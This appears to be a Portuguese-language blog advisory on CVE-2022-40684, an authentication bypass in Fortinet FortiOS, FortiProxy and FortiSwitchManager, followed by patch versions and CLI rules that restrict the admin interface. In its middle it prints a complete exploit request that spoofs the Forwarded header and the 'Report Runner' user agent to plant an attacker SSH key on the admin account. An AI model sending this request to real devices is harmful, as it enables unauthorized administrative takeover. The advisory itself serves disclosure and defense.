CVE-2022-40684

Dec 02 2022
Sobre a vulnerabilidade CVE-2022-40684 é uma vulnerabilidade de desvio de autenticação em alguns dos produtos Fortinet, como FortiOS, Fortiproxy e FortiSwitchManager. Isso significa que, usando essa vulnerabilidade, o invasor pode ignorar a autenticação e fazer login como administrador.

Sobre a Vulnerabilidade

CVE-2022-40684 é uma vulnerabilidade de desvio de autenticação em alguns dos produtos Fortinet, como FortiOS, Fortiproxy e FortiSwitchManager. Isso significa que, usando essa vulnerabilidade, o invasor pode ignorar a autenticação e fazer login como administrador. A pontuação básica para esta vulnerabilidade é 9,8, tornando-a altamente crítica. Antes de prosseguir vamos entender o que são esses produtos:

  1. FortiOS: Como o nome sugere, FortiOS, o Fortinet Network Operating System , é o coração da Fortinet Security. Esse sistema operacional está no centro do Security Fabric e une todos os componentes para garantir uma integração perfeita em toda a implantação de uma organização.
  2. FortiProxy: é um proxy da web seguro que protege os funcionários contra ataques da Internet, incorporando várias técnicas de detecção, como filtragem da web.
  3. FortiSwitchManager (FSWM) é a plataforma de gerenciamento local para o produto FortiSwitch . As unidades FortiSwitch se conectam ao FortiSwitch Manager pela rede de camada 3. Você pode configurar um grande número de unidades FortiSwitch com esta plataforma somente de gerenciamento FortiSwitch.

Impacto

O bug permitirá que um usuário não autenticado execute a operação diretamente no painel de administração por meio de algumas solicitações HTTP/S (os métodos podem ser GET, POST, DELETE, etc.). Ter a função de administrador pode causar alguns dos seguintes eventos:

  1. Controle assumir toda a aplicação
  2. Obtendo acesso à infraestrutura interna
  3. Adição ou exclusão de usuários
  4. Exposição a dados confidenciais
  5. Modifique as chaves SSH dos usuários administradores para permitir que o invasor faça login no sistema comprometido
  6. A adulteração de diferentes arquivos de configuração, etc.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }

  • Usando o cabeçalho encaminhado, um invasor pode definir o client_ip como “127.0.0.1”.
  • A verificação de autenticação de “acesso confiável” verifica se client_ip é “127.0.0.1” e o User-Agent é “Report Runner”, ambos sob controle do invasor.

“Encontrar remédio é muito mais importante do que encontrar uma falha”

A seguir estão algumas das correções para proteger uma organização de CVE-2022–40684:

  1. Atualização de produtos impactados.
    Atualize a versão do FortiOS para ≥7.2.2 e ≥7.0.7
    Atualize a versão do FortiProxy para ≥7.2.1 e ≥ 7.0.7
    Atualize a versão do FortiSwitchManager ≥7.2.1 e ≥7.0.1
  2. Desative a interface administrativa http/https no FortiOS, FortiProxy e FortiSwitchManager.
  3. Para FortiOS, limite os endereços IP que podem alcançar a interface administrativa
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end